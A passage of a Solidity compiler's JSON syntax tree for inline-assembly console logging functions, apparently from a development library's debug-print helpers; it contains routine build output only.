"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40383,"name":"uint256","nodeType":"ElementaryTypeName","src":"199512:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40386,"mutability":"mutable","name":"p2","nameLocation":"199532:2:22","nodeType":"VariableDeclaration","scope":40420,"src":"199524:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40385,"name":"uint256","nodeType":"ElementaryTypeName","src":"199524:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40388,"mutability":"mutable","name":"p3","nameLocation":"199544:2:22","nodeType":"VariableDeclaration","scope":40420,"src":"199536:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40387,"name":"bytes32","nodeType":"ElementaryTypeName","src":"199536:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"199502:45:22"},"returnParameters":{"id":40390,"nodeType":"ParameterList","parameters":[],"src":"199562:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40460,"nodeType":"FunctionDefinition","src":"200830:1334:22","nodes":[],"body":{"id":40459,"nodeType":"Block","src":"200902:1262:22","nodes":[],"statements":[{"assignments":[40432],"declarations":[{"constant":false,"id":40432,"mutability":"mutable","name":"m0","nameLocation":"200920:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"200912:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40431,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200912:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40433,"nodeType":"VariableDeclarationStatement","src":"200912:10:22"},{"assignments":[40435],"declarations":[{"constant":false,"id":40435,"mutability":"mutable","name":"m1","nameLocation":"200940:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"200932:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40434,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200932:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40436,"nodeType":"VariableDeclarationStatement","src":"200932:10:22"},{"assignments":[40438],"declarations":[{"constant":false,"id":40438,"mutability":"mutable","name":"m2","nameLocation":"200960:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"200952:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40437,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200952:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40439,"nodeType":"VariableDeclarationStatement","src":"200952:10:22"},{"assignments":[40441],"declarations":[{"constant":false,"id":40441,"mutability":"mutable","name":"m3","nameLocation":"200980:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"200972:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40440,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200972:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40442,"nodeType":"VariableDeclarationStatement","src":"200972:10:22"},{"assignments":[40444],"declarations":[{"constant":false,"id":40444,"mutability":"mutable","name":"m4","nameLocation":"201000:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"200992:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40443,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200992:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40445,"nodeType":"VariableDeclarationStatement","src":"200992:10:22"},{"assignments":[40447],"declarations":[{"constant":false,"id":40447,"mutability":"mutable","name":"m5","nameLocation":"201020:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"201012:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40446,"name":"bytes32","nodeType":"ElementaryTypeName","src":"201012:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40448,"nodeType":"VariableDeclarationStatement","src":"201012:10:22"},{"assignments":[40450],"declarations":[{"constant":false,"id":40450,"mutability":"mutable","name":"m6","nameLocation":"201040:2:22","nodeType":"VariableDeclaration","scope":40459,"src":"201032:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40449,"name":"bytes32","nodeType":"ElementaryTypeName","src":"201032:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40451,"nodeType":"VariableDeclarationStatement","src":"201032:10:22"},{"AST":{"nativeSrc":"201061:828:22","nodeType":"YulBlock","src":"201061:828:22","statements":[{"body":{"nativeSrc":"201104:313:22","nodeType":"YulBlock","src":"201104:313:22","statements":[{"nativeSrc":"201122:15:22","nodeType":"YulVariableDeclaration","src":"201122:15:22","value":{"kind":"number","nativeSrc":"201136:1:22","nodeType":"YulLiteral","src":"201136:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"201126:6:22","nodeType":"YulTypedName","src":"201126:6:22","type":""}]},{"body":{"nativeSrc":"201207:40:22","nodeType":"YulBlock","src":"201207:40:22","statements":[{"body":{"nativeSrc":"201236:9:22","nodeType":"YulBlock","src":"201236:9:22","statements":[{"nativeSrc":"201238:5:22","nodeType":"YulBreak","src":"201238:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"201224:6:22","nodeType":"YulIdentifier","src":"201224:6:22"},{"name":"w","nativeSrc":"201232:1:22","nodeType":"YulIdentifier","src":"201232:1:22"}],"functionName":{"name":"byte","nativeSrc":"201219:4:22","nodeType":"YulIdentifier","src":"201219:4:22"},"nativeSrc":"201219:15:22","nodeType":"YulFunctionCall","src":"201219:15:22"}],"functionName":{"name":"iszero","nativeSrc":"201212:6:22","nodeType":"YulIdentifier","src":"201212:6:22"},"nativeSrc":"201212:23:22","nodeType":"YulFunctionCall","src":"201212:23:22"},"nativeSrc":"201209:36:22","nodeType":"YulIf","src":"201209:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"201164:6:22","nodeType":"YulIdentifier","src":"201164:6:22"},{"kind":"number","nativeSrc":"201172:4:22","nodeType":"YulLiteral","src":"201172:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"201161:2:22","nodeType":"YulIdentifier","src":"201161:2:22"},"nativeSrc":"201161:16:22","nodeType":"YulFunctionCall","src":"201161:16:22"},"nativeSrc":"201154:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"201178:28:22","nodeType":"YulBlock","src":"201178:28:22","statements":[{"nativeSrc":"201180:24:22","nodeType":"YulAssignment","src":"201180:24:22","value":{"arguments":[{"name":"length","nativeSrc":"201194:6:22","nodeType":"YulIdentifier","src":"201194:6:22"},{"kind":"number","nativeSrc":"201202:1:22","nodeType":"YulLiteral","src":"201202:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"201190:3:22","nodeType":"YulIdentifier","src":"201190:3:22"},"nativeSrc":"201190:14:22","nodeType":"YulFunctionCall","src":"201190:14:22"},"variableNames":[{"name":"length","nativeSrc":"201180:6:22","nodeType":"YulIdentifier","src":"201180:6:22"}]}]},"pre":{"nativeSrc":"201158:2:22","nodeType":"YulBlock","src":"201158:2:22","statements":[]},"src":"201154:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"201271:3:22","nodeType":"YulIdentifier","src":"201271:3:22"},{"name":"length","nativeSrc":"201276:6:22","nodeType":"YulIdentifier","src":"201276:6:22"}],"functionName":{"name":"mstore","nativeSrc":"201264:6:22","nodeType":"YulIdentifier","src":"201264:6:22"},"nativeSrc":"201264:19:22","nodeType":"YulFunctionCall","src":"201264:19:22"},"nativeSrc":"201264:19:22","nodeType":"YulExpressionStatement","src":"201264:19:22"},{"nativeSrc":"201300:37:22","nodeType":"YulVariableDeclaration","src":"201300:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"201317:3:22","nodeType":"YulLiteral","src":"201317:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"201326:1:22","nodeType":"YulLiteral","src":"201326:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"201329:6:22","nodeType":"YulIdentifier","src":"201329:6:22"}],"functionName":{"name":"shl","nativeSrc":"201322:3:22","nodeType":"YulIdentifier","src":"201322:3:22"},"nativeSrc":"201322:14:22","nodeType":"YulFunctionCall","src":"201322:14:22"}],"functionName":{"name":"sub","nativeSrc":"201313:3:22","nodeType":"YulIdentifier","src":"201313:3:22"},"nativeSrc":"201313:24:22","nodeType":"YulFunctionCall","src":"201313:24:22"},"variables":[{"name":"shift","nativeSrc":"201304:5:22","nodeType":"YulTypedName","src":"201304:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"201365:3:22","nodeType":"YulIdentifier","src":"201365:3:22"},{"kind":"number","nativeSrc":"201370:4:22","nodeType":"YulLiteral","src":"201370:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"201361:3:22","nodeType":"YulIdentifier","src":"201361:3:22"},"nativeSrc":"201361:14:22","nodeType":"YulFunctionCall","src":"201361:14:22"},{"arguments":[{"name":"shift","nativeSrc":"201381:5:22","nodeType":"YulIdentifier","src":"201381:5:22"},{"arguments":[{"name":"shift","nativeSrc":"201392:5:22","nodeType":"YulIdentifier","src":"201392:5:22"},{"name":"w","nativeSrc":"201399:1:22","nodeType":"YulIdentifier","src":"201399:1:22"}],"functionName":{"name":"shr","nativeSrc":"201388:3:22","nodeType":"YulIdentifier","src":"201388:3:22"},"nativeSrc":"201388:13:22","nodeType":"YulFunctionCall","src":"201388:13:22"}],"functionName":{"name":"shl","nativeSrc":"201377:3:22","nodeType":"YulIdentifier","src":"201377:3:22"},"nativeSrc":"201377:25:22","nodeType":"YulFunctionCall","src":"201377:25:22"}],"functionName":{"name":"mstore","nativeSrc":"201354:6:22","nodeType":"YulIdentifier","src":"201354:6:22"},"nativeSrc":"201354:49:22","nodeType":"YulFunctionCall","src":"201354:49:22"},"nativeSrc":"201354:49:22","nodeType":"YulExpressionStatement","src":"201354:49:22"}]},"name":"writeString","nativeSrc":"201075:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"201096:3:22","nodeType":"YulTypedName","src":"201096:3:22","type":""},{"name":"w","nativeSrc":"201101:1:22","nodeType":"YulTypedName","src":"201101:1:22","type":""}],"src":"201075:342:22"},{"nativeSrc":"201430:17:22","nodeType":"YulAssignment","src":"201430:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201442:4:22","nodeType":"YulLiteral","src":"201442:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"201436:5:22","nodeType":"YulIdentifier","src":"201436:5:22"},"nativeSrc":"201436:11:22","nodeType":"YulFunctionCall","src":"201436:11:22"},"variableNames":[{"name":"m0","nativeSrc":"201430:2:22","nodeType":"YulIdentifier","src":"201430:2:22"}]},{"nativeSrc":"201460:17:22","nodeType":"YulAssignment","src":"201460:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201472:4:22","nodeType":"YulLiteral","src":"201472:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"201466:5:22","nodeType":"YulIdentifier","src":"201466:5:22"},"nativeSrc":"201466:11:22","nodeType":"YulFunctionCall","src":"201466:11:22"},"variableNames":[{"name":"m1","nativeSrc":"201460:2:22","nodeType":"YulIdentifier","src":"201460:2:22"}]},{"nativeSrc":"201490:17:22","nodeType":"YulAssignment","src":"201490:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201502:4:22","nodeType":"YulLiteral","src":"201502:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"201496:5:22","nodeType":"YulIdentifier","src":"201496:5:22"},"nativeSrc":"201496:11:22","nodeType":"YulFunctionCall","src":"201496:11:22"},"variableNames":[{"name":"m2","nativeSrc":"201490:2:22","nodeType":"YulIdentifier","src":"201490:2:22"}]},{"nativeSrc":"201520:17:22","nodeType":"YulAssignment","src":"201520:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201532:4:22","nodeType":"YulLiteral","src":"201532:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"201526:5:22","nodeType":"YulIdentifier","src":"201526:5:22"},"nativeSrc":"201526:11:22","nodeType":"YulFunctionCall","src":"201526:11:22"},"variableNames":[{"name":"m3","nativeSrc":"201520:2:22","nodeType":"YulIdentifier","src":"201520:2:22"}]},{"nativeSrc":"201550:17:22","nodeType":"YulAssignment","src":"201550:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201562:4:22","nodeType":"YulLiteral","src":"201562:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"201556:5:22","nodeType":"YulIdentifier","src":"201556:5:22"},"nativeSrc":"201556:11:22","nodeType":"YulFunctionCall","src":"201556:11:22"},"variableNames":[{"name":"m4","nativeSrc":"201550:2:22","nodeType":"YulIdentifier","src":"201550:2:22"}]},{"nativeSrc":"201580:17:22","nodeType":"YulAssignment","src":"201580:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201592:4:22","nodeType":"YulLiteral","src":"201592:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"201586:5:22","nodeType":"YulIdentifier","src":"201586:5:22"},"nativeSrc":"201586:11:22","nodeType":"YulFunctionCall","src":"201586:11:22"},"variableNames":[{"name":"m5","nativeSrc":"201580:2:22","nodeType":"YulIdentifier","src":"201580:2:22"}]},{"nativeSrc":"201610:17:22","nodeType":"YulAssignment","src":"201610:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"201622:4:22","nodeType":"YulLiteral","src":"201622:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"201616:5:22","nodeType":"YulIdentifier","src":"201616:5:22"},"nativeSrc":"201616:11:22","nodeType":"YulFunctionCall","src":"201616:11:22"},"variableNames":[{"name":"m6","nativeSrc":"201610:2:22","nodeType":"YulIdentifier","src":"201610:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201710:4:22","nodeType":"YulLiteral","src":"201710:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"201716:10:22","nodeType":"YulLiteral","src":"201716:10:22","type":"","value":"0xfedd1fff"}],"functionName":{"name":"mstore","nativeSrc":"201703:6:22","nodeType":"YulIdentifier","src":"201703:6:22"},"nativeSrc":"201703:24:22","nodeType":"YulFunctionCall","src":"201703:24:22"},"nativeSrc":"201703:24:22","nodeType":"YulExpressionStatement","src":"201703:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201747:4:22","nodeType":"YulLiteral","src":"201747:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"201753:2:22","nodeType":"YulIdentifier","src":"201753:2:22"}],"functionName":{"name":"mstore","nativeSrc":"201740:6:22","nodeType":"YulIdentifier","src":"201740:6:22"},"nativeSrc":"201740:16:22","nodeType":"YulFunctionCall","src":"201740:16:22"},"nativeSrc":"201740:16:22","nodeType":"YulExpressionStatement","src":"201740:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201776:4:22","nodeType":"YulLiteral","src":"201776:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"201782:2:22","nodeType":"YulIdentifier","src":"201782:2:22"}],"functionName":{"name":"mstore","nativeSrc":"201769:6:22","nodeType":"YulIdentifier","src":"201769:6:22"},"nativeSrc":"201769:16:22","nodeType":"YulFunctionCall","src":"201769:16:22"},"nativeSrc":"201769:16:22","nodeType":"YulExpressionStatement","src":"201769:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201805:4:22","nodeType":"YulLiteral","src":"201805:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"201811:4:22","nodeType":"YulLiteral","src":"201811:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"201798:6:22","nodeType":"YulIdentifier","src":"201798:6:22"},"nativeSrc":"201798:18:22","nodeType":"YulFunctionCall","src":"201798:18:22"},"nativeSrc":"201798:18:22","nodeType":"YulExpressionStatement","src":"201798:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201836:4:22","nodeType":"YulLiteral","src":"201836:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"201842:2:22","nodeType":"YulIdentifier","src":"201842:2:22"}],"functionName":{"name":"mstore","nativeSrc":"201829:6:22","nodeType":"YulIdentifier","src":"201829:6:22"},"nativeSrc":"201829:16:22","nodeType":"YulFunctionCall","src":"201829:16:22"},"nativeSrc":"201829:16:22","nodeType":"YulExpressionStatement","src":"201829:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201870:4:22","nodeType":"YulLiteral","src":"201870:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"201876:2:22","nodeType":"YulIdentifier","src":"201876:2:22"}],"functionName":{"name":"writeString","nativeSrc":"201858:11:22","nodeType":"YulIdentifier","src":"201858:11:22"},"nativeSrc":"201858:21:22","nodeType":"YulFunctionCall","src":"201858:21:22"},"nativeSrc":"201858:21:22","nodeType":"YulExpressionStatement","src":"201858:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40432,"isOffset":false,"isSlot":false,"src":"201430:2:22","valueSize":1},{"declaration":40435,"isOffset":false,"isSlot":false,"src":"201460:2:22","valueSize":1},{"declaration":40438,"isOffset":false,"isSlot":false,"src":"201490:2:22","valueSize":1},{"declaration":40441,"isOffset":false,"isSlot":false,"src":"201520:2:22","valueSize":1},{"declaration":40444,"isOffset":false,"isSlot":false,"src":"201550:2:22","valueSize":1},{"declaration":40447,"isOffset":false,"isSlot":false,"src":"201580:2:22","valueSize":1},{"declaration":40450,"isOffset":false,"isSlot":false,"src":"201610:2:22","valueSize":1},{"declaration":40422,"isOffset":false,"isSlot":false,"src":"201753:2:22","valueSize":1},{"declaration":40424,"isOffset":false,"isSlot":false,"src":"201782:2:22","valueSize":1},{"declaration":40426,"isOffset":false,"isSlot":false,"src":"201876:2:22","valueSize":1},{"declaration":40428,"isOffset":false,"isSlot":false,"src":"201842:2:22","valueSize":1}],"id":40452,"nodeType":"InlineAssembly","src":"201052:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40454,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"201914:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40455,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"201920:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40453,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"201898:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"201898:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40457,"nodeType":"ExpressionStatement","src":"201898:27:22"},{"AST":{"nativeSrc":"201944:214:22","nodeType":"YulBlock","src":"201944:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"201965:4:22","nodeType":"YulLiteral","src":"201965:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"201971:2:22","nodeType":"YulIdentifier","src":"201971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"201958:6:22","nodeType":"YulIdentifier","src":"201958:6:22"},"nativeSrc":"201958:16:22","nodeType":"YulFunctionCall","src":"201958:16:22"},"nativeSrc":"201958:16:22","nodeType":"YulExpressionStatement","src":"201958:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"201994:4:22","nodeType":"YulLiteral","src":"201994:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"202000:2:22","nodeType":"YulIdentifier","src":"202000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"201987:6:22","nodeType":"YulIdentifier","src":"201987:6:22"},"nativeSrc":"201987:16:22","nodeType":"YulFunctionCall","src":"201987:16:22"},"nativeSrc":"201987:16:22","nodeType":"YulExpressionStatement","src":"201987:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"202023:4:22","nodeType":"YulLiteral","src":"202023:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"202029:2:22","nodeType":"YulIdentifier","src":"202029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"202016:6:22","nodeType":"YulIdentifier","src":"202016:6:22"},"nativeSrc":"202016:16:22","nodeType":"YulFunctionCall","src":"202016:16:22"},"nativeSrc":"202016:16:22","nodeType":"YulExpressionStatement","src":"202016:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"202052:4:22","nodeType":"YulLiteral","src":"202052:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"202058:2:22","nodeType":"YulIdentifier","src":"202058:2:22"}],"functionName":{"name":"mstore","nativeSrc":"202045:6:22","nodeType":"YulIdentifier","src":"202045:6:22"},"nativeSrc":"202045:16:22","nodeType":"YulFunctionCall","src":"202045:16:22"},"nativeSrc":"202045:16:22","nodeType":"YulExpressionStatement","src":"202045:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"202081:4:22","nodeType":"YulLiteral","src":"202081:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"202087:2:22","nodeType":"YulIdentifier","src":"202087:2:22"}],"functionName":{"name":"mstore","nativeSrc":"202074:6:22","nodeType":"YulIdentifier","src":"202074:6:22"},"nativeSrc":"202074:16:22","nodeType":"YulFunctionCall","src":"202074:16:22"},"nativeSrc":"202074:16:22","nodeType":"YulExpressionStatement","src":"202074:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"202110:4:22","nodeType":"YulLiteral","src":"202110:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"202116:2:22","nodeType":"YulIdentifier","src":"202116:2:22"}],"functionName":{"name":"mstore","nativeSrc":"202103:6:22","nodeType":"YulIdentifier","src":"202103:6:22"},"nativeSrc":"202103:16:22","nodeType":"YulFunctionCall","src":"202103:16:22"},"nativeSrc":"202103:16:22","nodeType":"YulExpressionStatement","src":"202103:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"202139:4:22","nodeType":"YulLiteral","src":"202139:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"202145:2:22","nodeType":"YulIdentifier","src":"202145:2:22"}],"functionName":{"name":"mstore","nativeSrc":"202132:6:22","nodeType":"YulIdentifier","src":"202132:6:22"},"nativeSrc":"202132:16:22","nodeType":"YulFunctionCall","src":"202132:16:22"},"nativeSrc":"202132:16:22","nodeType":"YulExpressionStatement","src":"202132:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40432,"isOffset":false,"isSlot":false,"src":"201971:2:22","valueSize":1},{"declaration":40435,"isOffset":false,"isSlot":false,"src":"202000:2:22","valueSize":1},{"declaration":40438,"isOffset":false,"isSlot":false,"src":"202029:2:22","valueSize":1},{"declaration":40441,"isOffset":false,"isSlot":false,"src":"202058:2:22","valueSize":1},{"declaration":40444,"isOffset":false,"isSlot":false,"src":"202087:2:22","valueSize":1},{"declaration":40447,"isOffset":false,"isSlot":false,"src":"202116:2:22","valueSize":1},{"declaration":40450,"isOffset":false,"isSlot":false,"src":"202145:2:22","valueSize":1}],"id":40458,"nodeType":"InlineAssembly","src":"201935:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"200839:3:22","parameters":{"id":40429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40422,"mutability":"mutable","name":"p0","nameLocation":"200848:2:22","nodeType":"VariableDeclaration","scope":40460,"src":"200843:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40421,"name":"bool","nodeType":"ElementaryTypeName","src":"200843:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40424,"mutability":"mutable","name":"p1","nameLocation":"200860:2:22","nodeType":"VariableDeclaration","scope":40460,"src":"200852:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40423,"name":"uint256","nodeType":"ElementaryTypeName","src":"200852:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":40426,"mutability":"mutable","name":"p2","nameLocation":"200872:2:22","nodeType":"VariableDeclaration","scope":40460,"src":"200864:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"200864:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40428,"mutability":"mutable","name":"p3","nameLocation":"200884:2:22","nodeType":"VariableDeclaration","scope":40460,"src":"200876:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40427,"name":"address","nodeType":"ElementaryTypeName","src":"200876:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"200842:45:22"},"returnParameters":{"id":40430,"nodeType":"ParameterList","parameters":[],"src":"200902:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40500,"nodeType":"FunctionDefinition","src":"202170:1328:22","nodes":[],"body":{"id":40499,"nodeType":"Block","src":"202239:1259:22","nodes":[],"statements":[{"assignments":[40472],"declarations":[{"constant":false,"id":40472,"mutability":"mutable","name":"m0","nameLocation":"202257:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202249:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40471,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202249:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40473,"nodeType":"VariableDeclarationStatement","src":"202249:10:22"},{"assignments":[40475],"declarations":[{"constant":false,"id":40475,"mutability":"mutable","name":"m1","nameLocation":"202277:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40474,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202269:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40476,"nodeType":"VariableDeclarationStatement","src":"202269:10:22"},{"assignments":[40478],"declarations":[{"constant":false,"id":40478,"mutability":"mutable","name":"m2","nameLocation":"202297:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202289:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40477,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202289:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40479,"nodeType":"VariableDeclarationStatement","src":"202289:10:22"},{"assignments":[40481],"declarations":[{"constant":false,"id":40481,"mutability":"mutable","name":"m3","nameLocation":"202317:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40480,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202309:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40482,"nodeType":"VariableDeclarationStatement","src":"202309:10:22"},{"assignments":[40484],"declarations":[{"constant":false,"id":40484,"mutability":"mutable","name":"m4","nameLocation":"202337:2:22","nodeType":"VariableDeclaration","scope":40499,"src":"202329:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40483,"name":"bytes32","nodeType":"ElementaryTypeName","src":"202329:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40485,"nodeType":"VariableDeclarationStatement","src":"202329:10:22"},{"assignments":[40487],"declarations":[{"constant":false,"id":40487,"mutabilit